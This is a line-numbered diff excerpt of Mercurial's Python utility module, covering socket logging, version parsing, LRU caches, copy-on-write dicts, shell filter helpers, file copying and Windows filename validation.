987 987 self._writedata(buf[0:res])
988 988
989 989 def send(self, res, data, flags=0):
990 990 if not self.writes:
991 991 return
992 992
993 993 self.fh.write('%s> send(%d, %d) -> %d' % (
994 994 self.name, len(data), flags, len(res)))
995 995 self._writedata(data)
996 996
997 997 def sendall(self, res, data, flags=0):
998 998 if not self.writes:
999 999 return
1000 1000
1001 1001 if self.logdataapis:
1002 1002 # Returns None on success. So don't bother reporting return value.
1003 1003 self.fh.write('%s> sendall(%d, %d)' % (
1004 1004 self.name, len(data), flags))
1005 1005
1006 1006 self._writedata(data)
1007 1007
1008 1008 def sendto(self, res, data, flagsoraddress, address=None):
1009 1009 if not self.writes:
1010 1010 return
1011 1011
1012 1012 if address:
1013 1013 flags = flagsoraddress
1014 1014 else:
1015 1015 flags = 0
1016 1016
1017 1017 if self.logdataapis:
1018 1018 self.fh.write('%s> sendto(%d, %d, %r) -> %d' % (
1019 1019 self.name, len(data), flags, address, res))
1020 1020
1021 1021 self._writedata(data)
1022 1022
1023 1023 def setblocking(self, res, flag):
1024 1024 if not self.states:
1025 1025 return
1026 1026
1027 1027 self.fh.write('%s> setblocking(%r)\n' % (self.name, flag))
1028 1028
1029 1029 def settimeout(self, res, value):
1030 1030 if not self.states:
1031 1031 return
1032 1032
1033 1033 self.fh.write('%s> settimeout(%r)\n' % (self.name, value))
1034 1034
1035 1035 def gettimeout(self, res):
1036 1036 if not self.states:
1037 1037 return
1038 1038
1039 1039 self.fh.write('%s> gettimeout() -> %f\n' % (self.name, res))
1040 1040
1041 1041 def setsockopt(self, level, optname, value):
1042 1042 if not self.states:
1043 1043 return
1044 1044
1045 1045 self.fh.write('%s> setsockopt(%r, %r, %r) -> %r\n' % (
1046 1046 self.name, level, optname, value))
1047 1047
1048 1048 def makeloggingsocket(logh, fh, name, reads=True, writes=True, states=True,
1049 1049 logdata=False, logdataapis=True):
1050 1050 """Turn a socket into a logging socket."""
1051 1051
1052 1052 observer = socketobserver(logh, name, reads=reads, writes=writes,
1053 1053 states=states, logdata=logdata,
1054 1054 logdataapis=logdataapis)
1055 1055 return socketproxy(fh, observer)
1056 1056
1057 1057 def version():
1058 1058 """Return version information if available."""
1059 1059 try:
1060 1060 from . import __version__
1061 1061 return __version__.version
1062 1062 except ImportError:
1063 1063 return 'unknown'
1064 1064
1065 1065 def versiontuple(v=None, n=4):
1066 1066 """Parses a Mercurial version string into an N-tuple.
1067 1067
1068 1068 The version string to be parsed is specified with the ``v`` argument.
1069 1069 If it isn't defined, the current Mercurial version string will be parsed.
1070 1070
1071 1071 ``n`` can be 2, 3, or 4. Here is how some version strings map to
1072 1072 returned values:
1073 1073
1074 1074 >>> v = b'3.6.1+190-df9b73d2d444'
1075 1075 >>> versiontuple(v, 2)
1076 1076 (3, 6)
1077 1077 >>> versiontuple(v, 3)
1078 1078 (3, 6, 1)
1079 1079 >>> versiontuple(v, 4)
1080 1080 (3, 6, 1, '190-df9b73d2d444')
1081 1081
1082 1082 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
1083 1083 (3, 6, 1, '190-df9b73d2d444+20151118')
1084 1084
1085 1085 >>> v = b'3.6'
1086 1086 >>> versiontuple(v, 2)
1087 1087 (3, 6)
1088 1088 >>> versiontuple(v, 3)
1089 1089 (3, 6, None)
1090 1090 >>> versiontuple(v, 4)
1091 1091 (3, 6, None, None)
1092 1092
1093 1093 >>> v = b'3.9-rc'
1094 1094 >>> versiontuple(v, 2)
1095 1095 (3, 9)
1096 1096 >>> versiontuple(v, 3)
1097 1097 (3, 9, None)
1098 1098 >>> versiontuple(v, 4)
1099 1099 (3, 9, None, 'rc')
1100 1100
1101 1101 >>> v = b'3.9-rc+2-02a8fea4289b'
1102 1102 >>> versiontuple(v, 2)
1103 1103 (3, 9)
1104 1104 >>> versiontuple(v, 3)
1105 1105 (3, 9, None)
1106 1106 >>> versiontuple(v, 4)
1107 1107 (3, 9, None, 'rc+2-02a8fea4289b')
1108 1108 """
1109 1109 if not v:
1110 1110 v = version()
1111 1111 parts = remod.split('[\+-]', v, 1)
1112 1112 if len(parts) == 1:
1113 1113 vparts, extra = parts[0], None
1114 1114 else:
1115 1115 vparts, extra = parts
1116 1116
1117 1117 vints = []
1118 1118 for i in vparts.split('.'):
1119 1119 try:
1120 1120 vints.append(int(i))
1121 1121 except ValueError:
1122 1122 break
1123 1123 # (3, 6) -> (3, 6, None)
1124 1124 while len(vints) < 3:
1125 1125 vints.append(None)
1126 1126
1127 1127 if n == 2:
1128 1128 return (vints[0], vints[1])
1129 1129 if n == 3:
1130 1130 return (vints[0], vints[1], vints[2])
1131 1131 if n == 4:
1132 1132 return (vints[0], vints[1], vints[2], extra)
1133 1133
1134 1134 def cachefunc(func):
1135 1135 '''cache the result of function calls'''
1136 1136 # XXX doesn't handle keywords args
1137 1137 if func.__code__.co_argcount == 0:
1138 1138 cache = []
1139 1139 def f():
1140 1140 if len(cache) == 0:
1141 1141 cache.append(func())
1142 1142 return cache[0]
1143 1143 return f
1144 1144 cache = {}
1145 1145 if func.__code__.co_argcount == 1:
1146 1146 # we gain a small amount of time because
1147 1147 # we don't need to pack/unpack the list
1148 1148 def f(arg):
1149 1149 if arg not in cache:
1150 1150 cache[arg] = func(arg)
1151 1151 return cache[arg]
1152 1152 else:
1153 1153 def f(*args):
1154 1154 if args not in cache:
1155 1155 cache[args] = func(*args)
1156 1156 return cache[args]
1157 1157
1158 1158 return f
1159 1159
1160 1160 class cow(object):
1161 1161 """helper class to make copy-on-write easier
1162 1162
1163 1163 Call preparewrite before doing any writes.
1164 1164 """
1165 1165
1166 1166 def preparewrite(self):
1167 1167 """call this before writes, return self or a copied new object"""
1168 1168 if getattr(self, '_copied', 0):
1169 1169 self._copied -= 1
1170 1170 return self.__class__(self)
1171 1171 return self
1172 1172
1173 1173 def copy(self):
1174 1174 """always do a cheap copy"""
1175 1175 self._copied = getattr(self, '_copied', 0) + 1
1176 1176 return self
1177 1177
1178 1178 class sortdict(collections.OrderedDict):
1179 1179 '''a simple sorted dictionary
1180 1180
1181 1181 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
1182 1182 >>> d2 = d1.copy()
1183 1183 >>> d2
1184 1184 sortdict([('a', 0), ('b', 1)])
1185 1185 >>> d2.update([(b'a', 2)])
1186 1186 >>> list(d2.keys()) # should still be in last-set order
1187 1187 ['b', 'a']
1188 1188 '''
1189 1189
1190 1190 def __setitem__(self, key, value):
1191 1191 if key in self:
1192 1192 del self[key]
1193 1193 super(sortdict, self).__setitem__(key, value)
1194 1194
1195 1195 if pycompat.ispypy:
1196 1196 # __setitem__() isn't called as of PyPy 5.8.0
1197 1197 def update(self, src):
1198 1198 if isinstance(src, dict):
1199 1199 src = src.iteritems()
1200 1200 for k, v in src:
1201 1201 self[k] = v
1202 1202
1203 1203 class cowdict(cow, dict):
1204 1204 """copy-on-write dict
1205 1205
1206 1206 Be sure to call d = d.preparewrite() before writing to d.
1207 1207
1208 1208 >>> a = cowdict()
1209 1209 >>> a is a.preparewrite()
1210 1210 True
1211 1211 >>> b = a.copy()
1212 1212 >>> b is a
1213 1213 True
1214 1214 >>> c = b.copy()
1215 1215 >>> c is a
1216 1216 True
1217 1217 >>> a = a.preparewrite()
1218 1218 >>> b is a
1219 1219 False
1220 1220 >>> a is a.preparewrite()
1221 1221 True
1222 1222 >>> c = c.preparewrite()
1223 1223 >>> b is c
1224 1224 False
1225 1225 >>> b is b.preparewrite()
1226 1226 True
1227 1227 """
1228 1228
1229 1229 class cowsortdict(cow, sortdict):
1230 1230 """copy-on-write sortdict
1231 1231
1232 1232 Be sure to call d = d.preparewrite() before writing to d.
1233 1233 """
1234 1234
1235 1235 class transactional(object):
1236 1236 """Base class for making a transactional type into a context manager."""
1237 1237 __metaclass__ = abc.ABCMeta
1238 1238
1239 1239 @abc.abstractmethod
1240 1240 def close(self):
1241 1241 """Successfully closes the transaction."""
1242 1242
1243 1243 @abc.abstractmethod
1244 1244 def release(self):
1245 1245 """Marks the end of the transaction.
1246 1246
1247 1247 If the transaction has not been closed, it will be aborted.
1248 1248 """
1249 1249
1250 1250 def __enter__(self):
1251 1251 return self
1252 1252
1253 1253 def __exit__(self, exc_type, exc_val, exc_tb):
1254 1254 try:
1255 1255 if exc_type is None:
1256 1256 self.close()
1257 1257 finally:
1258 1258 self.release()
1259 1259
1260 1260 @contextlib.contextmanager
1261 1261 def acceptintervention(tr=None):
1262 1262 """A context manager that closes the transaction on InterventionRequired
1263 1263
1264 1264 If no transaction was provided, this simply runs the body and returns
1265 1265 """
1266 1266 if not tr:
1267 1267 yield
1268 1268 return
1269 1269 try:
1270 1270 yield
1271 1271 tr.close()
1272 1272 except error.InterventionRequired:
1273 1273 tr.close()
1274 1274 raise
1275 1275 finally:
1276 1276 tr.release()
1277 1277
1278 1278 @contextlib.contextmanager
1279 1279 def nullcontextmanager():
1280 1280 yield
1281 1281
1282 1282 class _lrucachenode(object):
1283 1283 """A node in a doubly linked list.
1284 1284
1285 1285 Holds a reference to nodes on either side as well as a key-value
1286 1286 pair for the dictionary entry.
1287 1287 """
1288 1288 __slots__ = (u'next', u'prev', u'key', u'value')
1289 1289
1290 1290 def __init__(self):
1291 1291 self.next = None
1292 1292 self.prev = None
1293 1293
1294 1294 self.key = _notset
1295 1295 self.value = None
1296 1296
1297 1297 def markempty(self):
1298 1298 """Mark the node as emptied."""
1299 1299 self.key = _notset
1300 1300
1301 1301 class lrucachedict(object):
1302 1302 """Dict that caches most recent accesses and sets.
1303 1303
1304 1304 The dict consists of an actual backing dict - indexed by original
1305 1305 key - and a doubly linked circular list defining the order of entries in
1306 1306 the cache.
1307 1307
1308 1308 The head node is the newest entry in the cache. If the cache is full,
1309 1309 we recycle head.prev and make it the new head. Cache accesses result in
1310 1310 the node being moved to before the existing head and being marked as the
1311 1311 new head node.
1312 1312 """
1313 1313 def __init__(self, max):
1314 1314 self._cache = {}
1315 1315
1316 1316 self._head = head = _lrucachenode()
1317 1317 head.prev = head
1318 1318 head.next = head
1319 1319 self._size = 1
1320 1320 self._capacity = max
1321 1321
1322 1322 def __len__(self):
1323 1323 return len(self._cache)
1324 1324
1325 1325 def __contains__(self, k):
1326 1326 return k in self._cache
1327 1327
1328 1328 def __iter__(self):
1329 1329 # We don't have to iterate in cache order, but why not.
1330 1330 n = self._head
1331 1331 for i in range(len(self._cache)):
1332 1332 yield n.key
1333 1333 n = n.next
1334 1334
1335 1335 def __getitem__(self, k):
1336 1336 node = self._cache[k]
1337 1337 self._movetohead(node)
1338 1338 return node.value
1339 1339
1340 1340 def __setitem__(self, k, v):
1341 1341 node = self._cache.get(k)
1342 1342 # Replace existing value and mark as newest.
1343 1343 if node is not None:
1344 1344 node.value = v
1345 1345 self._movetohead(node)
1346 1346 return
1347 1347
1348 1348 if self._size < self._capacity:
1349 1349 node = self._addcapacity()
1350 1350 else:
1351 1351 # Grab the last/oldest item.
1352 1352 node = self._head.prev
1353 1353
1354 1354 # At capacity. Kill the old entry.
1355 1355 if node.key is not _notset:
1356 1356 del self._cache[node.key]
1357 1357
1358 1358 node.key = k
1359 1359 node.value = v
1360 1360 self._cache[k] = node
1361 1361 # And mark it as newest entry. No need to adjust order since it
1362 1362 # is already self._head.prev.
1363 1363 self._head = node
1364 1364
1365 1365 def __delitem__(self, k):
1366 1366 node = self._cache.pop(k)
1367 1367 node.markempty()
1368 1368
1369 1369 # Temporarily mark as newest item before re-adjusting head to make
1370 1370 # this node the oldest item.
1371 1371 self._movetohead(node)
1372 1372 self._head = node.next
1373 1373
1374 1374 # Additional dict methods.
1375 1375
1376 1376 def get(self, k, default=None):
1377 1377 try:
1378 1378 return self._cache[k].value
1379 1379 except KeyError:
1380 1380 return default
1381 1381
1382 1382 def clear(self):
1383 1383 n = self._head
1384 1384 while n.key is not _notset:
1385 1385 n.markempty()
1386 1386 n = n.next
1387 1387
1388 1388 self._cache.clear()
1389 1389
1390 1390 def copy(self):
1391 1391 result = lrucachedict(self._capacity)
1392 1392 n = self._head.prev
1393 1393 # Iterate in oldest-to-newest order, so the copy has the right ordering
1394 1394 for i in range(len(self._cache)):
1395 1395 result[n.key] = n.value
1396 1396 n = n.prev
1397 1397 return result
1398 1398
1399 1399 def _movetohead(self, node):
1400 1400 """Mark a node as the newest, making it the new head.
1401 1401
1402 1402 When a node is accessed, it becomes the freshest entry in the LRU
1403 1403 list, which is denoted by self._head.
1404 1404
1405 1405 Visually, let's make ``N`` the new head node (* denotes head):
1406 1406
1407 1407 previous/oldest <-> head <-> next/next newest
1408 1408
1409 1409 ----<->--- A* ---<->-----
1410 1410 | |
1411 1411 E <-> D <-> N <-> C <-> B
1412 1412
1413 1413 To:
1414 1414
1415 1415 ----<->--- N* ---<->-----
1416 1416 | |
1417 1417 E <-> D <-> C <-> B <-> A
1418 1418
1419 1419 This requires the following moves:
1420 1420
1421 1421 C.next = D (node.prev.next = node.next)
1422 1422 D.prev = C (node.next.prev = node.prev)
1423 1423 E.next = N (head.prev.next = node)
1424 1424 N.prev = E (node.prev = head.prev)
1425 1425 N.next = A (node.next = head)
1426 1426 A.prev = N (head.prev = node)
1427 1427 """
1428 1428 head = self._head
1429 1429 # C.next = D
1430 1430 node.prev.next = node.next
1431 1431 # D.prev = C
1432 1432 node.next.prev = node.prev
1433 1433 # N.prev = E
1434 1434 node.prev = head.prev
1435 1435 # N.next = A
1436 1436 # It is tempting to do just "head" here, however if node is
1437 1437 # adjacent to head, this will do bad things.
1438 1438 node.next = head.prev.next
1439 1439 # E.next = N
1440 1440 node.next.prev = node
1441 1441 # A.prev = N
1442 1442 node.prev.next = node
1443 1443
1444 1444 self._head = node
1445 1445
1446 1446 def _addcapacity(self):
1447 1447 """Add a node to the circular linked list.
1448 1448
1449 1449 The new node is inserted before the head node.
1450 1450 """
1451 1451 head = self._head
1452 1452 node = _lrucachenode()
1453 1453 head.prev.next = node
1454 1454 node.prev = head.prev
1455 1455 node.next = head
1456 1456 head.prev = node
1457 1457 self._size += 1
1458 1458 return node
1459 1459
1460 1460 def lrucachefunc(func):
1461 1461 '''cache most recent results of function calls'''
1462 1462 cache = {}
1463 1463 order = collections.deque()
1464 1464 if func.__code__.co_argcount == 1:
1465 1465 def f(arg):
1466 1466 if arg not in cache:
1467 1467 if len(cache) > 20:
1468 1468 del cache[order.popleft()]
1469 1469 cache[arg] = func(arg)
1470 1470 else:
1471 1471 order.remove(arg)
1472 1472 order.append(arg)
1473 1473 return cache[arg]
1474 1474 else:
1475 1475 def f(*args):
1476 1476 if args not in cache:
1477 1477 if len(cache) > 20:
1478 1478 del cache[order.popleft()]
1479 1479 cache[args] = func(*args)
1480 1480 else:
1481 1481 order.remove(args)
1482 1482 order.append(args)
1483 1483 return cache[args]
1484 1484
1485 1485 return f
1486 1486
1487 1487 class propertycache(object):
1488 1488 def __init__(self, func):
1489 1489 self.func = func
1490 1490 self.name = func.__name__
1491 1491 def __get__(self, obj, type=None):
1492 1492 result = self.func(obj)
1493 1493 self.cachevalue(obj, result)
1494 1494 return result
1495 1495
1496 1496 def cachevalue(self, obj, value):
1497 1497 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
1498 1498 obj.__dict__[self.name] = value
1499 1499
1500 1500 def clearcachedproperty(obj, prop):
1501 1501 '''clear a cached property value, if one has been set'''
1502 1502 if prop in obj.__dict__:
1503 1503 del obj.__dict__[prop]
1504 1504
1505 1505 def pipefilter(s, cmd):
1506 1506 '''filter string S through command CMD, returning its output'''
1507 1507 p = subprocess.Popen(cmd, shell=True, close_fds=closefds,
1508 1508 stdin=subprocess.PIPE, stdout=subprocess.PIPE)
1509 1509 pout, perr = p.communicate(s)
1510 1510 return pout
1511 1511
1512 1512 def tempfilter(s, cmd):
1513 1513 '''filter string S through a pair of temporary files with CMD.
1514 1514 CMD is used as a template to create the real command to be run,
1515 1515 with the strings INFILE and OUTFILE replaced by the real names of
1516 1516 the temporary files generated.'''
1517 1517 inname, outname = None, None
1518 1518 try:
1519 1519 infd, inname = tempfile.mkstemp(prefix='hg-filter-in-')
1520 1520 fp = os.fdopen(infd, r'wb')
1521 1521 fp.write(s)
1522 1522 fp.close()
1523 1523 outfd, outname = tempfile.mkstemp(prefix='hg-filter-out-')
1524 1524 os.close(outfd)
1525 1525 cmd = cmd.replace('INFILE', inname)
1526 1526 cmd = cmd.replace('OUTFILE', outname)
1527 1527 code = os.system(cmd)
1528 1528 if pycompat.sysplatform == 'OpenVMS' and code & 1:
1529 1529 code = 0
1530 1530 if code:
1531 1531 raise error.Abort(_("command '%s' failed: %s") %
1532 1532 (cmd, explainexit(code)))
1533 1533 return readfile(outname)
1534 1534 finally:
1535 1535 try:
1536 1536 if inname:
1537 1537 os.unlink(inname)
1538 1538 except OSError:
1539 1539 pass
1540 1540 try:
1541 1541 if outname:
1542 1542 os.unlink(outname)
1543 1543 except OSError:
1544 1544 pass
1545 1545
1546 1546 filtertable = {
1547 1547 'tempfile:': tempfilter,
1548 1548 'pipe:': pipefilter,
1549 1549 }
1550 1550
1551 1551 def filter(s, cmd):
1552 1552 "filter a string through a command that transforms its input to its output"
1553 1553 for name, fn in filtertable.iteritems():
1554 1554 if cmd.startswith(name):
1555 1555 return fn(s, cmd[len(name):].lstrip())
1556 1556 return pipefilter(s, cmd)
1557 1557
1558 1558 def increasingchunks(source, min=1024, max=65536):
1559 1559 '''return no less than min bytes per chunk while data remains,
1560 1560 doubling min after each chunk until it reaches max'''
1561 1561 def log2(x):
1562 1562 if not x:
1563 1563 return 0
1564 1564 i = 0
1565 1565 while x:
1566 1566 x >>= 1
1567 1567 i += 1
1568 1568 return i - 1
1569 1569
1570 1570 buf = []
1571 1571 blen = 0
1572 1572 for chunk in source:
1573 1573 buf.append(chunk)
1574 1574 blen += len(chunk)
1575 1575 if blen >= min:
1576 1576 if min < max:
1577 1577 min = min << 1
1578 1578 nmin = 1 << log2(blen)
1579 1579 if nmin > min:
1580 1580 min = nmin
1581 1581 if min > max:
1582 1582 min = max
1583 1583 yield ''.join(buf)
1584 1584 blen = 0
1585 1585 buf = []
1586 1586 if buf:
1587 1587 yield ''.join(buf)
1588 1588
1589 Abort = error.Abort
1590
1591 1589 def always(fn):
1592 1590 return True
1593 1591
1594 1592 def never(fn):
1595 1593 return False
1596 1594
1597 1595 def nogc(func):
1598 1596 """disable garbage collector
1599 1597
1600 1598 Python's garbage collector triggers a GC each time a certain number of
1601 1599 container objects (the number being defined by gc.get_threshold()) are
1602 1600 allocated even when marked not to be tracked by the collector. Tracking has
1603 1601 no effect on when GCs are triggered, only on what objects the GC looks
1604 1602 into. As a workaround, disable GC while building complex (huge)
1605 1603 containers.
1606 1604
1607 1605 This garbage collector issue have been fixed in 2.7. But it still affect
1608 1606 CPython's performance.
1609 1607 """
1610 1608 def wrapper(*args, **kwargs):
1611 1609 gcenabled = gc.isenabled()
1612 1610 gc.disable()
1613 1611 try:
1614 1612 return func(*args, **kwargs)
1615 1613 finally:
1616 1614 if gcenabled:
1617 1615 gc.enable()
1618 1616 return wrapper
1619 1617
1620 1618 if pycompat.ispypy:
1621 1619 # PyPy runs slower with gc disabled
1622 1620 nogc = lambda x: x
1623 1621
1624 1622 def pathto(root, n1, n2):
1625 1623 '''return the relative path from one place to another.
1626 1624 root should use os.sep to separate directories
1627 1625 n1 should use os.sep to separate directories
1628 1626 n2 should use "/" to separate directories
1629 1627 returns an os.sep-separated path.
1630 1628
1631 1629 If n1 is a relative path, it's assumed it's
1632 1630 relative to root.
1633 1631 n2 should always be relative to root.
1634 1632 '''
1635 1633 if not n1:
1636 1634 return localpath(n2)
1637 1635 if os.path.isabs(n1):
1638 1636 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1639 1637 return os.path.join(root, localpath(n2))
1640 1638 n2 = '/'.join((pconvert(root), n2))
1641 1639 a, b = splitpath(n1), n2.split('/')
1642 1640 a.reverse()
1643 1641 b.reverse()
1644 1642 while a and b and a[-1] == b[-1]:
1645 1643 a.pop()
1646 1644 b.pop()
1647 1645 b.reverse()
1648 1646 return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
1649 1647
1650 1648 def mainfrozen():
1651 1649 """return True if we are a frozen executable.
1652 1650
1653 1651 The code supports py2exe (most common, Windows only) and tools/freeze
1654 1652 (portable, not much used).
1655 1653 """
1656 1654 return (safehasattr(sys, "frozen") or # new py2exe
1657 1655 safehasattr(sys, "importers") or # old py2exe
1658 1656 imp.is_frozen(u"__main__")) # tools/freeze
1659 1657
1660 1658 # the location of data files matching the source code
1661 1659 if mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
1662 1660 # executable version (py2exe) doesn't support __file__
1663 1661 datapath = os.path.dirname(pycompat.sysexecutable)
1664 1662 else:
1665 1663 datapath = os.path.dirname(pycompat.fsencode(__file__))
1666 1664
1667 1665 i18n.setdatapath(datapath)
1668 1666
1669 1667 _hgexecutable = None
1670 1668
1671 1669 def hgexecutable():
1672 1670 """return location of the 'hg' executable.
1673 1671
1674 1672 Defaults to $HG or 'hg' in the search path.
1675 1673 """
1676 1674 if _hgexecutable is None:
1677 1675 hg = encoding.environ.get('HG')
1678 1676 mainmod = sys.modules[r'__main__']
1679 1677 if hg:
1680 1678 _sethgexecutable(hg)
1681 1679 elif mainfrozen():
1682 1680 if getattr(sys, 'frozen', None) == 'macosx_app':
1683 1681 # Env variable set by py2app
1684 1682 _sethgexecutable(encoding.environ['EXECUTABLEPATH'])
1685 1683 else:
1686 1684 _sethgexecutable(pycompat.sysexecutable)
1687 1685 elif (os.path.basename(
1688 1686 pycompat.fsencode(getattr(mainmod, '__file__', ''))) == 'hg'):
1689 1687 _sethgexecutable(pycompat.fsencode(mainmod.__file__))
1690 1688 else:
1691 1689 exe = findexe('hg') or os.path.basename(sys.argv[0])
1692 1690 _sethgexecutable(exe)
1693 1691 return _hgexecutable
1694 1692
1695 1693 def _sethgexecutable(path):
1696 1694 """set location of the 'hg' executable"""
1697 1695 global _hgexecutable
1698 1696 _hgexecutable = path
1699 1697
1700 1698 def _testfileno(f, stdf):
1701 1699 fileno = getattr(f, 'fileno', None)
1702 1700 try:
1703 1701 return fileno and fileno() == stdf.fileno()
1704 1702 except io.UnsupportedOperation:
1705 1703 return False # fileno() raised UnsupportedOperation
1706 1704
1707 1705 def isstdin(f):
1708 1706 return _testfileno(f, sys.__stdin__)
1709 1707
1710 1708 def isstdout(f):
1711 1709 return _testfileno(f, sys.__stdout__)
1712 1710
1713 1711 def shellenviron(environ=None):
1714 1712 """return environ with optional override, useful for shelling out"""
1715 1713 def py2shell(val):
1716 1714 'convert python object into string that is useful to shell'
1717 1715 if val is None or val is False:
1718 1716 return '0'
1719 1717 if val is True:
1720 1718 return '1'
1721 1719 return pycompat.bytestr(val)
1722 1720 env = dict(encoding.environ)
1723 1721 if environ:
1724 1722 env.update((k, py2shell(v)) for k, v in environ.iteritems())
1725 1723 env['HG'] = hgexecutable()
1726 1724 return env
1727 1725
1728 1726 def system(cmd, environ=None, cwd=None, out=None):
1729 1727 '''enhanced shell command execution.
1730 1728 run with environment maybe modified, maybe in different dir.
1731 1729
1732 1730 if out is specified, it is assumed to be a file-like object that has a
1733 1731 write() method. stdout and stderr will be redirected to out.'''
1734 1732 try:
1735 1733 stdout.flush()
1736 1734 except Exception:
1737 1735 pass
1738 1736 cmd = quotecommand(cmd)
1739 1737 env = shellenviron(environ)
1740 1738 if out is None or isstdout(out):
1741 1739 rc = subprocess.call(cmd, shell=True, close_fds=closefds,
1742 1740 env=env, cwd=cwd)
1743 1741 else:
1744 1742 proc = subprocess.Popen(cmd, shell=True, close_fds=closefds,
1745 1743 env=env, cwd=cwd, stdout=subprocess.PIPE,
1746 1744 stderr=subprocess.STDOUT)
1747 1745 for line in iter(proc.stdout.readline, ''):
1748 1746 out.write(line)
1749 1747 proc.wait()
1750 1748 rc = proc.returncode
1751 1749 if pycompat.sysplatform == 'OpenVMS' and rc & 1:
1752 1750 rc = 0
1753 1751 return rc
1754 1752
1755 1753 def checksignature(func):
1756 1754 '''wrap a function with code to check for calling errors'''
1757 1755 def check(*args, **kwargs):
1758 1756 try:
1759 1757 return func(*args, **kwargs)
1760 1758 except TypeError:
1761 1759 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1762 1760 raise error.SignatureError
1763 1761 raise
1764 1762
1765 1763 return check
1766 1764
1767 1765 # a whilelist of known filesystems where hardlink works reliably
1768 1766 _hardlinkfswhitelist = {
1769 1767 'btrfs',
1770 1768 'ext2',
1771 1769 'ext3',
1772 1770 'ext4',
1773 1771 'hfs',
1774 1772 'jfs',
1775 1773 'NTFS',
1776 1774 'reiserfs',
1777 1775 'tmpfs',
1778 1776 'ufs',
1779 1777 'xfs',
1780 1778 'zfs',
1781 1779 }
1782 1780
1783 1781 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1784 1782 '''copy a file, preserving mode and optionally other stat info like
1785 1783 atime/mtime
1786 1784
1787 1785 checkambig argument is used with filestat, and is useful only if
1788 1786 destination file is guarded by any lock (e.g. repo.lock or
1789 1787 repo.wlock).
1790 1788
1791 1789 copystat and checkambig should be exclusive.
1792 1790 '''
1793 1791 assert not (copystat and checkambig)
1794 1792 oldstat = None
1795 1793 if os.path.lexists(dest):
1796 1794 if checkambig:
1797 1795 oldstat = checkambig and filestat.frompath(dest)
1798 1796 unlink(dest)
1799 1797 if hardlink:
1800 1798 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1801 1799 # unless we are confident that dest is on a whitelisted filesystem.
1802 1800 try:
1803 1801 fstype = getfstype(os.path.dirname(dest))
1804 1802 except OSError:
1805 1803 fstype = None
1806 1804 if fstype not in _hardlinkfswhitelist:
1807 1805 hardlink = False
1808 1806 if hardlink:
1809 1807 try:
1810 1808 oslink(src, dest)
1811 1809 return
1812 1810 except (IOError, OSError):
1813 1811 pass # fall back to normal copy
1814 1812 if os.path.islink(src):
1815 1813 os.symlink(os.readlink(src), dest)
1816 1814 # copytime is ignored for symlinks, but in general copytime isn't needed
1817 1815 # for them anyway
1818 1816 else:
1819 1817 try:
1820 1818 shutil.copyfile(src, dest)
1821 1819 if copystat:
1822 1820 # copystat also copies mode
1823 1821 shutil.copystat(src, dest)
1824 1822 else:
1825 1823 shutil.copymode(src, dest)
1826 1824 if oldstat and oldstat.stat:
1827 1825 newstat = filestat.frompath(dest)
1828 1826 if newstat.isambig(oldstat):
1829 1827 # stat of copied file is ambiguous to original one
1830 1828 advanced = (
1831 1829 oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
1832 1830 os.utime(dest, (advanced, advanced))
1833 1831 except shutil.Error as inst:
1834 1832 raise error.Abort(str(inst))
1835 1833
1836 1834 def copyfiles(src, dst, hardlink=None, progress=lambda t, pos: None):
1837 1835 """Copy a directory tree using hardlinks if possible."""
1838 1836 num = 0
1839 1837
1840 1838 gettopic = lambda: hardlink and _('linking') or _('copying')
1841 1839
1842 1840 if os.path.isdir(src):
1843 1841 if hardlink is None:
1844 1842 hardlink = (os.stat(src).st_dev ==
1845 1843 os.stat(os.path.dirname(dst)).st_dev)
1846 1844 topic = gettopic()
1847 1845 os.mkdir(dst)
1848 1846 for name, kind in listdir(src):
1849 1847 srcname = os.path.join(src, name)
1850 1848 dstname = os.path.join(dst, name)
1851 1849 def nprog(t, pos):
1852 1850 if pos is not None:
1853 1851 return progress(t, pos + num)
1854 1852 hardlink, n = copyfiles(srcname, dstname, hardlink, progress=nprog)
1855 1853 num += n
1856 1854 else:
1857 1855 if hardlink is None:
1858 1856 hardlink = (os.stat(os.path.dirname(src)).st_dev ==
1859 1857 os.stat(os.path.dirname(dst)).st_dev)
1860 1858 topic = gettopic()
1861 1859
1862 1860 if hardlink:
1863 1861 try:
1864 1862 oslink(src, dst)
1865 1863 except (IOError, OSError):
1866 1864 hardlink = False
1867 1865 shutil.copy(src, dst)
1868 1866 else:
1869 1867 shutil.copy(src, dst)
1870 1868 num += 1
1871 1869 progress(topic, num)
1872 1870 progress(topic, None)
1873 1871
1874 1872 return hardlink, num
1875 1873
1876 1874 _winreservednames = {
1877 1875 'con', 'prn', 'aux', 'nul',
1878 1876 'com1', 'com2', 'com3', 'com4', 'com5', 'com6', 'com7', 'com8', 'com9',
1879 1877 'lpt1', 'lpt2', 'lpt3', 'lpt4', 'lpt5', 'lpt6', 'lpt7', 'lpt8', 'lpt9',
1880 1878 }
1881 1879 _winreservedchars = ':*?"<>|'
1882 1880 def checkwinfilename(path):
1883 1881 r'''Check that the base-relative path is a valid filename on Windows.
1884 1882 Returns None if the path is ok, or a UI string describing the problem.
1885 1883
1886 1884 >>> checkwinfilename(b"just/a/normal/path")
1887 1885 >>> checkwinfilename(b"foo/bar/con.xml")
1888 1886 "filename contains 'con', which is reserved on Windows"
1889 1887 >>> checkwinfilename(b"foo/con.xml/bar")
1890 1888 "filename contains 'con', which is reserved on Windows"
1891 1889 >>> checkwinfilename(b"foo/bar/xml.con")
1892 1890 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
1893 1891 "filename contains 'AUX', which is reserved on Windows"
1894 1892 >>> checkwinfilename(b"foo/bar/bla:.txt")
1895 1893 "filename contains ':', which is reserved on Windows"
1896 1894 >>> checkwinfilename(b"foo/bar/b\07la.txt")
1897 1895 "filename contains '\\x07', which is invalid on Windows"
1898 1896 >>> checkwinfilename(b"foo/bar/bla ")
1899 1897 "filename ends with ' ', which is not allowed on Windows"
1900 1898 >>> checkwinfilename(b"../bar")
1901 1899 >>> checkwinfilename(b"foo\\")
1902 1900 "filename ends with '\\', which is invalid on Windows"
1903 1901 >>> checkwinfilename(b"foo\\/bar")
1904 1902 "directory name ends with '\\', which is invalid on Windows"
1905 1903 '''
